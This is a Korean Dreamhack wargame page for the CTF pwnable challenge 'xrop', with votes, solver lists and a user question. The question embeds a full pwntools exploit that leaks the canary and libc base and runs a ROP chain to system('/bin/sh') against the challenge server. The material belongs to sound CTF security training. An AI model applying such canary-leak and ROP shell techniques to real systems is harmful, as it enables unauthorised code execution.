학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 3
xrop
pwnable
521
122
2025.01.25. 09:00:00
로그인 하고 문제 풀기
문제 정보
풀이
20
난이도 투표
46
질문
2
최근 풀이자
122
댓글
2
해당 문제는 Dreamhack CTF Season 7 Round #2 (🌱Div2) 에 출제된 문제입니다.
문제 설명
Description
General ROP, but input is xored?
Translate
난이도 투표
46
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 10
DA2RIM
리버싱 졸업
LEVEL 3에 투표했습니다.
5시간 전
wiimdy
세계수
LEVEL 1에 투표했습니다.
10일 전
obiwan
조커
LEVEL 2에 투표했습니다.
10일 전
hyxn
시스템 해킹 졸업
LEVEL 3에 투표했습니다.
12일 전
shhhh
대표 업적 없음
LEVEL 1에 투표했습니다.
20일 전
질문
2
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
도커에선 되는데 왜 서버에서 안될까요!
문제 파일에서 제공된 Docker환경에서 익스플로잇은 잘 됩니다 일단 카나리 릭은 잘 되는 것 같은데 라이브러리가 도커랑 다른걸까요.. 아래는 도커에서 이것저것 확인해본 것들입니다. 맨 밑에 코드 첨부되어있어요 image.png image.png image.png from pwn import * def enc(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(1, len(data)): data[i - 1] ^= data[i] return bytes(data) def dec(data): data = bytearray(data) # 변경 가능한 형태로 변환 for i in range(len(data) - 1, 0, -1): # 역순으로 연산 data[i - 1] ^= data[i] return bytes(data) p = remote('localhost',8080) p = remote('host3.dreamhack.games', 16230) cnry 획득 payload = b'' for i in range(1,0x1a,1): payload += chr(i).encode() p.sendafter("Input: ",payload) p.recvuntil(': ') p.recvn(0x19) cnry = b'\x00'+p.recvn(7) ret_addr 로 libc_base 획득 payload = b'' for i in range(1,0x29,1): payload += chr(i).encode() p.sendafter('Input: ', payload) p.recvuntil(': ') p.recvn(0x28) ret_addr = u64(p.recvn(0x6)+b'\x00\x00') ret_addr = __libc_start_call_main+128 __libc_start_main은 call_main+0xb0 lib의 start_main은 0x29dc0 lib 베이스 주소는 ret_addr-128+0xb0-0x29dc0 libc_base = ret_addr-128+0xb0-0x29dc0 system = 0x50d70 + libc_base binsh = 0x1d8678 + libc_base pop_rdi = 0x2a3e5 + libc_base ret = 0x29139 + libc_base payload = dec(b'exit\x00'.ljust(0x18,b'\x00') + cnry + b'12345678' + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)) p.sendafter(": ",payload) p.recvuntil(': ') p.interactive() `
돈이되고싶은굳
답변
1
추천
0
4개월 전
로되리안,,,,,,,,,,
따로 주어진 libc가 없어서 로컬에 있는 libc로 system이랑 /bin/sh 주소, 가젯 주소들까지 구해서 익스를 해봤는데 로컬에서만 되고 리모트하니까 안됩니다.... ㅠㅜ 아마 libc offset이 달라서 그런거 같은데,, 어떻게 해야할까요 조언 부탁드립니다 ㅠㅡㅜ
Hiariz
답변
1
추천
0
5개월 전
«
‹
1
›
»
LEVEL 3
xrop
pwnable
521
122
2025.01.25. 09:00:00
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
Dreamhack official account
First Blood!
미래 해커
대표 업적 없음
출제된 지
43분
만에 풀이 완료!
최근 풀이자
122
DA2RIM
리버싱 졸업
5시간 전
cccclllllhhhhnn
강의 수강: 1
13시간 전
st4rlight
레이서
2일 전
leesu0605
대표 업적 없음
3일 전
wiimdy
세계수
10일 전
obiwan
조커
10일 전
hyxn
시스템 해킹 졸업
12일 전
외눈물고기
대표 업적 없음
13일 전
shhhh
대표 업적 없음
20일 전
B1ackCat
시스템 해킹 고인물
21일 전
«
‹
1
2
3
4
5
›
»
댓글
2
Rootsquare
바탈리온
5개월 전
XOR 연산 결과가 공격이 가능한 형태가 되게 만들기
Translate
M200is
강의 수강: 50
5개월 전
포너블 잘해놓고 연산을 못했던...
Translate
«
‹
1
›
»
댓글 2